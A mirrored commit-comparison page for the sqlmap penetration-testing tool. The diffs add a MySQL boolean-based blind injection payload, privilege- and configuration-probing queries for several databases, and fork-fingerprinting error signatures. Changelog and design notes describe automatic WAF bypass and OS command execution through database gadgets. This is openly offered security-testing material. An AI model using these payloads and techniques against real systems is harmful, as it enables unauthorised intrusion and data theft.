mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-11-09 13:11:31 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6faa9bb929 | ||
|
|
2ff5db17ba | ||
|
|
c42ebd7acf | ||
|
|
2d046c1a75 | ||
|
|
f8a42cf016 | ||
|
|
81d17b1ad2 | ||
|
|
083d9d0e6f | ||
|
|
a01582b83f | ||
|
|
94f8cf8136 | ||
|
|
6a94f23251 | ||
|
|
6df778743f | ||
|
|
6e06114947 | ||
|
|
c9745f883d | ||
|
|
11afdcb026 | ||
|
|
5b8a2faab1 | ||
|
|
da21091459 | ||
|
|
5e2a6aeec8 | ||
|
|
8461fd402b | ||
|
|
9b0e262560 | ||
|
|
d57415479a | ||
|
|
d0ad9b2e34 | ||
|
|
6530184e2c | ||
|
|
e90078184d | ||
|
|
559d6f4543 | ||
|
|
71af9b3d8a | ||
|
|
516f55935c | ||
|
|
b208262c37 | ||
|
|
9a1660aa12 | ||
|
|
0cf2f6db07 | ||
|
|
c94f6d0041 | ||
|
|
5b180533c1 | ||
|
|
2c6e4d85b5 | ||
|
|
1b1f93ae5c | ||
|
|
65b6e7b4ac | ||
|
|
1d9965d003 | ||
|
|
4d518ff813 | ||
|
|
a6e832bb8e | ||
|
|
3cfba468d7 | ||
|
|
8473e2edc6 | ||
|
|
0974a0d859 | ||
|
|
2e3e4385ca | ||
|
|
c36d056481 | ||
|
|
a3d29174fb | ||
|
|
92b652177b | ||
|
|
8ac458c6bc | ||
|
|
e1537fe809 | ||
|
|
2171eb123c | ||
|
|
31005fe4df | ||
|
|
0c491b7551 | ||
|
|
5365c7e53d | ||
|
|
ce01e65255 | ||
|
|
7eb06ce635 | ||
|
|
bda62dcf28 | ||
|
|
fa96906f76 | ||
|
|
6224344224 | ||
|
|
7cbbbaf2a1 | ||
|
|
6c75ad64c4 | ||
|
|
5f6c303f8a | ||
|
|
604c5bc111 | ||
|
|
d486742eec | ||
|
|
a56a6b1f25 | ||
|
|
1ee368f78a | ||
|
|
e10092efcd | ||
|
|
691d2fa7ca | ||
|
|
3fc41ca370 | ||
|
|
3b8a8d3d09 |
No files matched your search
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT name AS audit_key,CASE WHEN value_in_use IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),value_in_use) END AS audit_value
|
||||
FROM master.sys.configurations
|
||||
WHERE name IN ('xp_cmdshell','clr enabled','Ole Automation Procedures','Ad Hoc Distributed Queries')
|
||||
) audit_rows WHERE 1=1 ORDER BY audit_key
|
||||
@@ -0,0 +1,11 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'effective database user' AS audit_key,CASE WHEN CURRENT_USER IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),CURRENT_USER) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'effective login' AS audit_key,CASE WHEN SUSER_SNAME() IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),SUSER_SNAME()) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'original login' AS audit_key,CASE WHEN ORIGINAL_LOGIN() IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),ORIGINAL_LOGIN()) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'database' AS audit_key,CASE WHEN DB_NAME() IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),DB_NAME()) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'sysadmin' AS audit_key,CASE WHEN IS_SRVROLEMEMBER('sysadmin') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),IS_SRVROLEMEMBER('sysadmin')) END AS audit_value
|
||||
) audit_rows WHERE 1=1 ORDER BY audit_key
|
||||
@@ -0,0 +1,6 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT N'visible linked servers' AS audit_key,N'V'+CONVERT(NVARCHAR(MAX),COUNT(*)) AS audit_value FROM master.sys.servers WHERE is_linked=1
|
||||
UNION ALL
|
||||
SELECT N'link '+CAST(name AS NVARCHAR(MAX)) COLLATE DATABASE_DEFAULT AS audit_key,N'V'+ISNULL(data_source COLLATE DATABASE_DEFAULT,N'<unknown>')+N' (data access: '+RTRIM(CASE is_data_access_enabled WHEN 1 THEN N'enabled' WHEN 0 THEN N'disabled' ELSE N'unavailable' END)+N'; RPC out: '+RTRIM(CASE is_rpc_out_enabled WHEN 1 THEN N'enabled' WHEN 0 THEN N'disabled' ELSE N'unavailable' END)+N')' AS audit_value
|
||||
FROM master.sys.servers v WHERE is_linked=1 AND (SELECT COUNT(*) FROM master.sys.servers s WHERE s.is_linked=1 AND s.server_id<=v.server_id)<=%LIMIT%
|
||||
) audit_rows WHERE 1=1 ORDER BY audit_key
|
||||
@@ -0,0 +1,7 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'execute xp_cmdshell' AS audit_key,CASE WHEN HAS_PERMS_BY_NAME('master.dbo.xp_cmdshell','OBJECT','EXECUTE') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),HAS_PERMS_BY_NAME('master.dbo.xp_cmdshell','OBJECT','EXECUTE')) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'read configuration metadata' AS audit_key,CASE WHEN HAS_PERMS_BY_NAME('master.sys.configurations','OBJECT','SELECT') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),HAS_PERMS_BY_NAME('master.sys.configurations','OBJECT','SELECT')) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'read linked-server metadata' AS audit_key,CASE WHEN HAS_PERMS_BY_NAME('master.sys.servers','OBJECT','SELECT') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),HAS_PERMS_BY_NAME('master.sys.servers','OBJECT','SELECT')) END AS audit_value
|
||||
) audit_rows WHERE 1=1 ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT LOWER(VARIABLE_NAME) AS audit_key,CASE WHEN VARIABLE_VALUE IS NULL THEN 'N' ELSE CONCAT('V',VARIABLE_VALUE) END AS audit_value
|
||||
FROM performance_schema.global_variables
|
||||
WHERE LOWER(VARIABLE_NAME) IN ('local_infile','require_secure_transport','read_only','super_read_only','general_log','log_bin','skip_networking','skip_grant_tables')
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT LOWER(VARIABLE_NAME) AS audit_key,CASE WHEN VARIABLE_VALUE IS NULL THEN 'N' ELSE CONCAT('V',VARIABLE_VALUE) END AS audit_value
|
||||
FROM information_schema.GLOBAL_VARIABLES
|
||||
WHERE LOWER(VARIABLE_NAME) IN ('local_infile','require_secure_transport','read_only','super_read_only','general_log','log_bin','skip_networking','skip_grant_tables')
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'secure_file_priv' AS audit_key,CASE WHEN @@GLOBAL.secure_file_priv IS NULL THEN 'N' ELSE CONCAT('V',CAST(@@GLOBAL.secure_file_priv AS CHAR)) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'max_allowed_packet' AS audit_key,CASE WHEN @@GLOBAL.max_allowed_packet IS NULL THEN 'N' ELSE CONCAT('V',CAST(@@GLOBAL.max_allowed_packet AS CHAR)) END AS audit_value
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,7 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'effective account' AS audit_key,CASE WHEN CURRENT_USER() IS NULL THEN 'N' ELSE CONCAT('V',CAST(CURRENT_USER() AS CHAR)) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'login identity' AS audit_key,CASE WHEN USER() IS NULL THEN 'N' ELSE CONCAT('V',CAST(USER() AS CHAR)) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'server version' AS audit_key,CASE WHEN VERSION() IS NULL THEN 'N' ELSE CONCAT('V',CAST(VERSION() AS CHAR)) END AS audit_value
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'direct FILE grant' AS audit_key,CONCAT('V',CAST(COUNT(*) AS CHAR)) AS audit_value
|
||||
FROM information_schema.USER_PRIVILEGES
|
||||
WHERE PRIVILEGE_TYPE='FILE' AND GRANTEE=CONCAT(CHAR(39),LEFT(CURRENT_USER(),LENGTH(CURRENT_USER())-LENGTH(SUBSTRING_INDEX(CURRENT_USER(),'@',-1))-1),CHAR(39),'@',CHAR(39),SUBSTRING_INDEX(CURRENT_USER(),'@',-1),CHAR(39))
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT name AS audit_key,CASE WHEN value IS NULL THEN 'N' ELSE 'V'||value END AS audit_value
|
||||
FROM v$parameter
|
||||
WHERE name IN ('remote_os_authent','remote_login_passwordfile','sql92_security','audit_trail','os_authent_prefix')
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,12 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'visible directory grants' AS audit_key,'V'||TO_CHAR(COUNT(*)) AS audit_value
|
||||
FROM all_directories d JOIN all_tab_privs p ON p.table_schema=d.owner AND p.table_name=d.directory_name
|
||||
WHERE p.type='DIRECTORY' AND p.privilege IN ('READ','WRITE') AND (p.grantee=SYS_CONTEXT('USERENV','CURRENT_USER') OR p.grantee='PUBLIC' OR p.grantee IN (SELECT role FROM session_roles))
|
||||
UNION ALL
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT d.directory_name||' ['||p.privilege||'] (via '||p.grantee||')' AS audit_key,'V'||d.directory_path AS audit_value
|
||||
FROM all_directories d JOIN all_tab_privs p ON p.table_schema=d.owner AND p.table_name=d.directory_name
|
||||
WHERE p.type='DIRECTORY' AND p.privilege IN ('READ','WRITE') AND (p.grantee=SYS_CONTEXT('USERENV','CURRENT_USER') OR p.grantee='PUBLIC' OR p.grantee IN (SELECT role FROM session_roles))
|
||||
ORDER BY d.directory_name,p.privilege,p.grantee
|
||||
) audit_details WHERE ROWNUM<=%LIMIT%
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,9 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'effective account' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','CURRENT_USER') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','CURRENT_USER')) END AS audit_value FROM DUAL
|
||||
UNION ALL
|
||||
SELECT 'login identity' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','SESSION_USER') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','SESSION_USER')) END AS audit_value FROM DUAL
|
||||
UNION ALL
|
||||
SELECT 'database' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','DB_NAME') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','DB_NAME')) END AS audit_value FROM DUAL
|
||||
UNION ALL
|
||||
SELECT 'SYSDBA session' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','ISDBA') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','ISDBA')) END AS audit_value FROM DUAL
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'DBA role active' AS audit_key,'V'||CASE WHEN COUNT(*)>0 THEN 'yes' ELSE 'no' END AS audit_value FROM session_roles WHERE role='DBA'
|
||||
UNION ALL
|
||||
SELECT privilege,'Vgranted' FROM session_privs WHERE privilege IN ('CREATE ANY DIRECTORY','CREATE EXTERNAL JOB','EXECUTE ANY PROCEDURE','ALTER SYSTEM','SELECT ANY DICTIONARY')
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT name AS audit_key,CASE WHEN setting IS NULL THEN 'N' ELSE 'V'||setting END AS audit_value
|
||||
FROM pg_catalog.pg_settings
|
||||
WHERE name IN ('ssl','password_encryption','row_security','logging_collector','log_statement','log_connections','log_disconnections')
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,7 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'effective account' AS audit_key,CASE WHEN CURRENT_USER IS NULL THEN 'N' ELSE 'V'||CAST(CURRENT_USER AS TEXT) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'login identity' AS audit_key,CASE WHEN SESSION_USER IS NULL THEN 'N' ELSE 'V'||CAST(SESSION_USER AS TEXT) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'database' AS audit_key,CASE WHEN CURRENT_DATABASE() IS NULL THEN 'N' ELSE 'V'||CAST(CURRENT_DATABASE() AS TEXT) END AS audit_value
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,7 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'superuser' AS audit_key,'V'||CASE WHEN rolsuper THEN '1' ELSE '0' END AS audit_value FROM pg_catalog.pg_roles WHERE rolname=CURRENT_USER
|
||||
UNION ALL
|
||||
SELECT 'bypass RLS','V'||CASE WHEN rolbypassrls THEN '1' ELSE '0' END FROM pg_catalog.pg_roles WHERE rolname=CURRENT_USER
|
||||
UNION ALL
|
||||
SELECT rolname,'V'||CASE WHEN pg_has_role(oid,'USAGE') THEN '1' ELSE '0' END FROM pg_catalog.pg_roles WHERE rolname IN ('pg_read_server_files','pg_write_server_files','pg_execute_server_program')
|
||||
) audit_rows ORDER BY audit_key
|
||||
+14
-1
@@ -2,6 +2,9 @@
|
||||
|
||||
<root>
|
||||
<dbms value="MySQL">
|
||||
<error regexp="org\.apache\.doris\." fork="Doris"/>
|
||||
<error regexp="com\.starrocks\." fork="StarRocks"/>
|
||||
<error regexp="Getting syntax error (at|from) line \d+, column \d+" fork="StarRocks"/>
|
||||
<error regexp="SQL syntax.*?MySQL"/>
|
||||
<error regexp="Warning.*?\Wmysqli?_"/>
|
||||
<error regexp="MySQLSyntaxErrorException"/>
|
||||
@@ -24,6 +27,15 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="PostgreSQL">
|
||||
<error regexp="crdb_internal\." fork="CockroachDB"/>
|
||||
<error regexp="github\.com/cockroachdb/cockroach/pkg/sql" fork="CockroachDB"/>
|
||||
<error regexp="com\.yugabyte\.(util\.PSQLException|core\.v3)" fork="YugabyteDB"/>
|
||||
<error regexp="\(yb/\w+/\w+\.cc:\d+\)" fork="YugabyteDB"/>
|
||||
<error regexp="org\.opengauss\.(util\.PSQLException|core\.v3)" fork="OpenGauss"/>
|
||||
<error regexp="(duckdb\.duckdb|_duckdb)\.(Parser|Binder|Catalog|Conversion)Exception" fork="DuckDB"/>
|
||||
<error regexp="org\.duckdb\.DuckDB" fork="DuckDB"/>
|
||||
<error regexp="Parser Error: [^\n]{0,40}at or near" fork="DuckDB"/>
|
||||
<error regexp="(Catalog Error: Table with name|Binder Error: Referenced column)" fork="DuckDB"/>
|
||||
<error regexp="PostgreSQL.*?ERROR"/>
|
||||
<error regexp="Warning.*?\Wpg_"/>
|
||||
<error regexp="valid PostgreSQL result"/>
|
||||
@@ -133,7 +145,7 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="SAP MaxDB">
|
||||
<error regexp="SQL error.*?POS([0-9]+)"/>
|
||||
<error regexp="SQL[- ]error.*?POS\(\d+\)"/>
|
||||
<error regexp="Warning.*?\Wmaxdb_"/>
|
||||
<error regexp="DriverSapDB"/>
|
||||
<error regexp="-3014.*?Invalid end of SQL statement"/>
|
||||
@@ -203,6 +215,7 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="Presto">
|
||||
<error regexp="io\.trino\.(jdbc|spi)\." fork="Trino"/>
|
||||
<error regexp="com\.facebook\.presto\.jdbc"/>
|
||||
<error regexp="io\.prestosql\.jdbc"/>
|
||||
<error regexp="com\.simba\.presto\.jdbc"/>
|
||||
|
||||
@@ -1365,6 +1365,27 @@ Tag: <test>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- No parentheses or functions (e.g. value-wide character whitelists, #6145): TRUE keeps the original
|
||||
sort column, FALSE raises a runtime regular expression error ('(' pattern) -->
|
||||
<test>
|
||||
<title>MySQL boolean-based blind - ORDER BY clause (RLIKE)</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>3</clause>
|
||||
<where>3</where>
|
||||
<vector>CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE 1 RLIKE 0x28 END</vector>
|
||||
<request>
|
||||
<payload>CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE 1 RLIKE 0x28 END</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE 1 RLIKE 0x28 END</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- Works in MySQL, Oracle, etc. -->
|
||||
<test>
|
||||
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
|
||||
|
||||
@@ -173,6 +173,10 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="Microsoft SQL Server">
|
||||
<links>
|
||||
<inband query="SELECT CAST(name AS NVARCHAR(MAX)) COLLATE DATABASE_DEFAULT+N' -> '+ISNULL(data_source COLLATE DATABASE_DEFAULT,N'<unknown>') FROM master.sys.servers WHERE is_linked=1 ORDER BY server_id"/>
|
||||
<blind query="SELECT link_name FROM (SELECT CAST(name AS NVARCHAR(MAX)) COLLATE DATABASE_DEFAULT+N' -> '+ISNULL(data_source COLLATE DATABASE_DEFAULT,N'<unknown>') AS link_name,ROW_NUMBER() OVER (ORDER BY server_id) AS rn FROM master.sys.servers WHERE is_linked=1) AS links WHERE rn=%d+1" count="SELECT COUNT(*) FROM master.sys.servers WHERE is_linked=1"/>
|
||||
</links>
|
||||
<cast query="CAST(%s AS NVARCHAR(MAX))"/>
|
||||
<length query="LTRIM(STR(LEN(%s+'.')-1))"/>
|
||||
<isnull query="ISNULL(%s,' ')"/>
|
||||
@@ -253,6 +257,10 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="Oracle">
|
||||
<links>
|
||||
<inband query="SELECT OWNER||'.'||DB_LINK||' -> '||NVL(HOST,'<unknown>') FROM ALL_DB_LINKS ORDER BY OWNER,DB_LINK"/>
|
||||
<blind query="SELECT link_name FROM (SELECT OWNER||'.'||DB_LINK||' -> '||NVL(HOST,'<unknown>') AS link_name,ROW_NUMBER() OVER (ORDER BY OWNER,DB_LINK) AS rn FROM ALL_DB_LINKS) WHERE rn=%d+1" count="SELECT COUNT(*) FROM ALL_DB_LINKS"/>
|
||||
</links>
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="NVL(%s,' ')"/>
|
||||
@@ -1931,7 +1939,7 @@
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT CASE table_schema WHEN '' THEN 'default' ELSE table_schema END,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
|
||||
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY table_name" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END"/>
|
||||
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY table_name LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT column_name,spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
|
||||
|
||||
+22
-4
@@ -19,6 +19,7 @@ non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py`
|
||||
|-------|------|---------|
|
||||
| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. |
|
||||
| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. |
|
||||
| Library | `import sqlmap` -> `lib/utils/library.py` | `scan()` / `scanFromRequest()` for programmatic callers; like the API, it drives the engine as a subprocess. |
|
||||
|
||||
`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for
|
||||
quirks/security - see below), `setPaths()`, `init()` (option parsing + environment
|
||||
@@ -58,7 +59,7 @@ Identifiers in the codebase are camelCase.
|
||||
| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing |
|
||||
| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) |
|
||||
| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing |
|
||||
| `lib/techniques/` | the exploitation engines: `blind/inference.py`, `error/use.py`, `union/{test,use}.py`, `dns/` |
|
||||
| `lib/techniques/` | the exploitation engines: `blind/{inference,multibit}.py`, `error/use.py`, `union/{test,use}.py`, `dns/`, plus one directory per non-SQL family (`ssti/`, `nosql/`, `xpath/`, ...) |
|
||||
| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) |
|
||||
| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... |
|
||||
| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` |
|
||||
@@ -130,6 +131,7 @@ Once a parameter is injectable, value extraction is dispatched by
|
||||
| Technique | Engine | Mechanism |
|
||||
|-----------|--------|-----------|
|
||||
| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle |
|
||||
| multi-bit blind (`--multi-bit`) | `blind/multibit.py` | opt-in; reads several bits per request out of the rows a listing page renders |
|
||||
| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay |
|
||||
| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error |
|
||||
| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction |
|
||||
@@ -141,6 +143,14 @@ Once a parameter is injectable, value extraction is dispatched by
|
||||
(intentional). Multi-threaded extraction is coordinated via `kb.locks` and
|
||||
`getCurrentThreadData()` (`lib/core/threads.py`).
|
||||
|
||||
**Non-SQL engines.** `--nosql`, `--xpath`, `--ldap`, `--ssti`, `--graphql`, `--hql`, `--sparql`,
|
||||
`--odata`, `--xslt`, `--xxe` and `--jwt` do not go through the pipeline above at all. Each one is a
|
||||
self-contained scanner in `lib/techniques/<family>/inject.py`, dispatched from `controller.py` and
|
||||
registered once in `NONSQL_TECHNIQUES` (`lib/core/settings.py`) - that tuple is what the rest of the
|
||||
code tests against, so a new family is declared there and nowhere else. The response comparison,
|
||||
reflection stripping and blind-bit classification they all need live in `lib/utils/nonsql.py`
|
||||
instead of being copied per family.
|
||||
|
||||
---
|
||||
|
||||
## 7. DBMS abstraction
|
||||
@@ -155,7 +165,10 @@ Enumeration is DBMS-agnostic at the top and specialized underneath:
|
||||
pieces and supplying dialect specifics.
|
||||
- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table
|
||||
enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name;
|
||||
the dialect comes from XML.
|
||||
the dialect comes from XML. It also carries the per-DBMS `<gadgets>` - side-effecting scalar
|
||||
expressions (e.g. PostgreSQL `dblink_exec`) that `getGadget()` (`lib/request/inject.py`) probes
|
||||
once and caches in `kb.gadget`, so `--sql-query` / `--file-write` / `--os-cmd` still work from an
|
||||
injection point that has no stacked queries.
|
||||
|
||||
`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into.
|
||||
|
||||
@@ -180,12 +193,16 @@ Enumeration is DBMS-agnostic at the top and specialized underneath:
|
||||
`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it:
|
||||
protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`,
|
||||
persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the
|
||||
comparison oracle (`comparison.py`).
|
||||
comparison oracle (`comparison.py`). Alternative transports hang off the same chokepoint: the
|
||||
standard-library HTTP/2 client (`http2.py`, `--http2`, which also carries the `--timeless` oracle in
|
||||
`timeless.py`) and WebSocket targets (`websocket.py`).
|
||||
|
||||
**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS.
|
||||
Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c`
|
||||
chains them in priority order. They are payload-string transforms only (no engine
|
||||
coupling), which is why they compose freely.
|
||||
coupling), which is why they compose freely. When a WAF/IPS is identified, `lib/utils/wafbypass.py`
|
||||
ranks the plausible candidates and `_autoWafBypass()` (`controller.py`) trials them one at a time -
|
||||
a candidate is adopted only if re-running the detection through it brings the injection back.
|
||||
|
||||
---
|
||||
|
||||
@@ -227,6 +244,7 @@ Two complementary layers:
|
||||
| a constant/threshold | `lib/core/settings.py` |
|
||||
| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` |
|
||||
| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine |
|
||||
| a non-SQL technique (SSTI, NoSQL, XPath, ...) | `lib/techniques/<family>/inject.py` (+ `NONSQL_TECHNIQUES` in `settings.py`) |
|
||||
| the true/false decision | `lib/request/comparison.py` |
|
||||
| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms/<dbms>/` |
|
||||
| enumeration behavior | `plugins/generic/*.py` |
|
||||
|
||||
+12
-2
@@ -15,10 +15,12 @@
|
||||
* Added the switch `--xslt`. It tests for XSLT injection. The engine names itself in the response. sqlmap then dumps the XML document that the stylesheet transforms. It also reads the files that the engine can reach. When the engine exposes an extension bridge (PHP `php:function` or the Xalan `java:` namespace), sqlmap reads any file through it, and with `--os-cmd` or `--os-shell` it runs operating system commands.
|
||||
* Added the switch `--xxe`. It tests for XML External Entity injection. It uses in-band, error-based, and out-of-band channels.
|
||||
* Added the switch `--jwt`. It examines JSON Web Tokens for weak keys and for injection in the claims.
|
||||
* sqlmap now offers to get around a WAF/IPS on its own. Once it identifies one and the ordinary payloads come back blocked, it drops the scanner fingerprint and tries the tamper scripts that suit that WAF, and it keeps the first one that brings the injection back.
|
||||
|
||||
## Speed
|
||||
|
||||
* Added the switch `--timeless`. It reads each blind bit from the HTTP/2 response order. It does not use a delay. sqlmap calibrates the target first, and it uses the usual time-based technique if the target is not applicable.
|
||||
* Added the switch `--multi-bit`. On a page that renders rows, one request reads a bit from each row that comes back instead of a single bit altogether.
|
||||
* Added set-membership (Huffman) retrieval for blind dumps. It needs fewer requests for each character. Use `--no-huffman` to stop it.
|
||||
* Added keyset (seek) pagination for blind table dumps. Use `--no-keyset` to stop it.
|
||||
* Added parallel retrieval of values in blind mode. Each thread retrieves a different value.
|
||||
@@ -53,10 +55,13 @@
|
||||
* Added time-based payloads for CUBRID.
|
||||
* Added out-of-band DNS channels for H2 and ClickHouse.
|
||||
* Added PostgreSQL command execution through a PL extension.
|
||||
* Added the running of non-query statements without stacked queries through a gadget. On PostgreSQL, when the `dblink` extension is present, `--sql-query`, `--file-write`, `--os-cmd`, and `--os-shell` now work from a plain (e.g. boolean-based) injection point.
|
||||
* Added the running of non-query statements without stacked queries through a gadget. On PostgreSQL, when the `dblink` extension is there and the current user can run it, `--sql-query`, `--file-write`, `--os-cmd`, and `--os-shell` now work from a plain (e.g. boolean-based) injection point.
|
||||
* Added file read and file write support for SQLite through the `fileio` extension functions `readfile` and `writefile`.
|
||||
* Added the data access and the security type of a routine to the output of `--procs` on MySQL and PostgreSQL, so a routine that runs as its definer or that modifies data stands out.
|
||||
* Added the tamper scripts `blindbinary`, `dollarquote`, `infoschema2innodb`, `oraclequote`, and `sign`.
|
||||
* Added stacked query payloads for Microsoft SQL Server and Sybase that carry no semicolon, so a filtered semicolon alone no longer hides the technique.
|
||||
* Added the error signatures that tell the MySQL and the PostgreSQL forks apart: Doris, StarRocks, CockroachDB, YugabyteDB, OpenGauss, DuckDB, and Trino. These forks keep the wording of the engine that they come from, so only a leaked driver package or an engine-internal source reference gives them away.
|
||||
* Made the fingerprinting payloads friendlier to a WAF, so the version detection survives where it used to get blocked.
|
||||
* Added the tamper scripts `blindbinary`, `castprefix`, `dollarquote`, `infoschema2innodb`, `mid2leftright`, `mssqlnosemicolon`, `odbcbrace`, `oraclequote`, `quote2ltat`, `sign`, `sleep2hex`, and `uniontable`.
|
||||
|
||||
## Fewer dependencies
|
||||
